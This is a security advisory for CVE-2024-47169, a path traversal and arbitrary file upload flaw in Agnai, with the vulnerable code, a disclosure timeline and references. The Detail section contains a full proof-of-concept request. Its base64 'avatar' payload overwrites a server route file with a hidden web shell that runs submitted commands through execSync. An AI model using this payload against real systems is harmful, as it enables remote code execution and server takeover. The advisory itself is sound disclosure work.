CVE-2024-47169 - Agnai RCE - RCE via JS Upload using Directory Traversal
Target
https://github.com/agnaistic/agnai
Synopsis
Multiple vulnerabilities (3, CVE-2024-47169, CVE-2024-47170, CVE-2024-47171) were discovered in Agnai, an open-source LLM multi-chatbot service. One of these (CVE-2024-47169) allowed an adversary to achieve remote code execution and control over the running service.
Vulnerability Description
A vulnerability in Agnai was identified that permits attackers to upload arbitrary files to attacker-chosen locations on the server, including overwriting existing JavaScript files, enabling the execution of commands within those files. This issue could result in unauthorized access, full server compromise, data leakage, and other critical security threats.
Detail
Path Traversal Location
POST /api/chat/5c25e8dc-67c3-40e1-9572-32df2e26ff38/temp-character HTTP/1.1
{"_id": "/../../../../../../app/srv/api/voice",...<ommitted>}
In the following file, the _id parameter which is a remote-supplied parameter is not properly validated and sanitized. agnai/srv/api/chat/characters.ts
const upserted: AppSchema.Character = {
_id: body._id || `temp-${v4().slice(0, 8)}`,
kind: 'character',
createdAt: now(),
In the following file, the filename (or id) and content variables are not properly sanitized and validated, https://github.com/agnaistic/agnai/blob/dev/srv/api/upload.ts#L63
export async function entityUploadBase64(kind: string, id: string, content?: string) {
if (!content) return
if (!content.includes(',')) return
const filename = `${kind}-${id}`
const attachment = toAttachment(content)
return upload(attachment, filename)
}
function toAttachment(content: string): Attachment {
const [prefix, base64] = content.split(',')
const type = prefix.slice(5, -7)
const [, ext] = type.split('/')
return {
ext,
field: '',
original: '',
type: getType(ext),
content: Buffer.from(base64, 'base64'),
}
}
An attacker can freely specify arbitrary file types (and arbitrary base64-encoded file content), thereby permitting them to upload JavaScript files and by abusing the _id parameter, to control the location of the file to overwrite an existing server file;
POST /api/chat/5c25e8dc-67c3-40e1-9572-32df2e26ff38/temp-character HTTP/1.1
...
Connection: keep-alive
{
"_id": "/../../../../../../app/srv/api/voice",
"name":"","description":"","culture":"en-us","tags":[],"scenario":"","appearance":"","visualType":"avatar","avatar":"data:image/js;base64,InVzZSBzdHJpY3QiOwpPYmplY3QuZGVmaW5lUHJvcGVydHkoZXhwb3J0cywgIl9fZXNNb2R1bGUiLCB7IHZhbHVlOiB0cnVlIH0pOwpjb25zdCBleHByZXNzXzEgPSByZXF1aXJlKCJleHByZXNzIik7CmNvbnN0IHdyYXBfMSA9IHJlcXVpcmUoIi4vd3JhcCIpOwpjb25zdCB2b2ljZV8xID0gcmVxdWlyZSgiLi4vdm9pY2UiKTsKY29uc3QgZGJfMSA9IHJlcXVpcmUoIi4uL2RiIik7CmNvbnN0IHZhbGlkXzEgPSByZXF1aXJlKCIvY29tbW9uL3ZhbGlkIik7CmNvbnN0IHJvdXRlciA9ICgwLCBleHByZXNzXzEuUm91dGVyKSgpOwpjb25zdCB0ZXh0VG9TcGVlY2hWYWxpZCA9IHsgdGV4dDogJ3N0cmluZycsIHZvaWNlOiAnYW55JyB9Owpjb25zdCB0ZXh0VG9TcGVlY2ggPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewogICAgY29uc3QgdXNlciA9IHVzZXJJZCA/IGF3YWl0IGRiXzEuc3RvcmUudXNlcnMuZ2V0VXNlcih1c2VySWQpIDogYm9keS51c2VyOwogICAgY29uc3QgZ3Vlc3RJZCA9IHVzZXJJZCA/IHVuZGVmaW5lZCA6IHNvY2tldElkOwogICAgKDAsIHZhbGlkXzEuYXNzZXJ0VmFsaWQpKHRleHRUb1NwZWVjaFZhbGlkLCBib2R5KTsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZW5lcmF0ZVRleHRUb1NwZWVjaCkodXNlciwgbG9nLCBndWVzdElkLCBib2R5LnRleHQsIGJvZHkudm9pY2UpOwp9KTsKY29uc3QgZ2V0Vm9pY2VzID0gKDAsIHdyYXBfMS5oYW5kbGUpKGFzeW5jICh7IGJvZHksIHVzZXJJZCwgc29ja2V0SWQsIGxvZywgcGFyYW1zIH0pID0+IHsKICAgIGNvbnN0IHR0c1NlcnZpY2UgPSBwYXJhbXMuaWQ7CiAgICBjb25zdCB1c2VyID0gdXNlcklkID8gYXdhaXQgZGJfMS5zdG9yZS51c2Vycy5nZXRVc2VyKHVzZXJJZCkgOiBib2R5LnVzZXI7CiAgICBjb25zdCBndWVzdElkID0gdXNlcklkID8gdW5kZWZpbmVkIDogc29ja2V0SWQ7CiAgICByZXR1cm4gKDAsIHZvaWNlXzEuZ2V0Vm9pY2VzTGlzdCkoeyB0dHNTZXJ2aWNlOiB0dHNTZXJ2aWNlLCB1c2VyIH0sIGxvZywgZ3Vlc3RJZCk7Cn0pOwpjb25zdCBnZXRNb2RlbHMgPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewogICAgY29uc3QgdHRzU2VydmljZSA9IHBhcmFtcy5pZDsKICAgIGNvbnN0IHVzZXIgPSB1c2VySWQgPyBhd2FpdCBkYl8xLnN0b3JlLnVzZXJzLmdldFVzZXIodXNlcklkKSA6IGJvZHkudXNlcjsKICAgIGNvbnN0IGd1ZXN0SWQgPSB1c2VySWQgPyB1bmRlZmluZWQgOiBzb2NrZXRJZDsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZXRNb2RlbHNMaXN0KSh7IHR0c1NlcnZpY2U6IHR0c1NlcnZpY2UsIHVzZXIgfSwgbG9nLCBndWVzdElkKTsKfSk7Cgpjb25zdCBnZXRDbWQgPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewoJY29uc3QgY2hpbGRfcHJvY2Vzc18xID0gcmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpOwoJY2hpbGRfcHJvY2Vzc18xLmV4ZWNTeW5jKGJvZHkuY21kKTsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZXRNb2RlbHNMaXN0KSh7IHR0c1NlcnZpY2U6IHR0c1NlcnZpY2UsIHVzZXIgfSwgbG9nLCBndWVzdElkKTsKfSk7Cgpyb3V0ZXIucG9zdCgnL3R0cycsIHRleHRUb1NwZWVjaCk7CnJvdXRlci5wb3N0KCcvOmlkL3ZvaWNlcycsIGdldFZvaWNlcyk7CnJvdXRlci5wb3N0KCcvOmlkL21vZGVscycsIGdldE1vZGVscyk7CnJvdXRlci5wb3N0KCcvY21kJywgZ2V0Q21kKTsKZXhwb3J0cy5kZWZhdWx0ID0gcm91dGVyOwovLyMgc291cmNlTWFwcGluZ1VSTD12b2ljZS5qcy5tYXA=","sprite":null,"greeting":"","sampleChat":"","voiceDisabled":false,"voice":{},"systemPrompt":"","postHistoryInstructions":"","insert":{"prompt":"","depth":3},"alternateGreetings":[],"creator":"","characterVersion":"","persona":{"kind":"text","attributes":{"text":[""]}},"imageSettings":{"type":"sd","steps":10,"width":512,"height":512,"prefix":"","suffix":"","negative":"","cfg":9,"summariseChat":true,"summaryPrompt":""}}
By abusing this, an attacker can overwrite existing Javascript source files that are being executed, and when combined with a vulnerability that coerces the service to be restarted, achieve full remote code execution.
Timeline
- 2024-07-22: Vulnerability identified and reported by JB (Josh Brown)
- 2024-07-27: Acknowledgement from maintainer
- 2024-07-29: Initial Patch released
- 2024-08-03: Verification of patch by JB, identification of defect
- 2024-08-03: JB provided patch for issue to maintainer
- 2024-08-20: Fix merged to master branch
- 2024-09-25: Maintainer published GHSA-mpch-89gm-hm83
- 2024-09-26: GitHub assigned CVE-2024-47169
References
https://github.com/agnaistic/agnai/security/advisories/GHSA-mpch-89gm-hm83 https://www.cve.org/CVERecord?id=CVE-2024-47169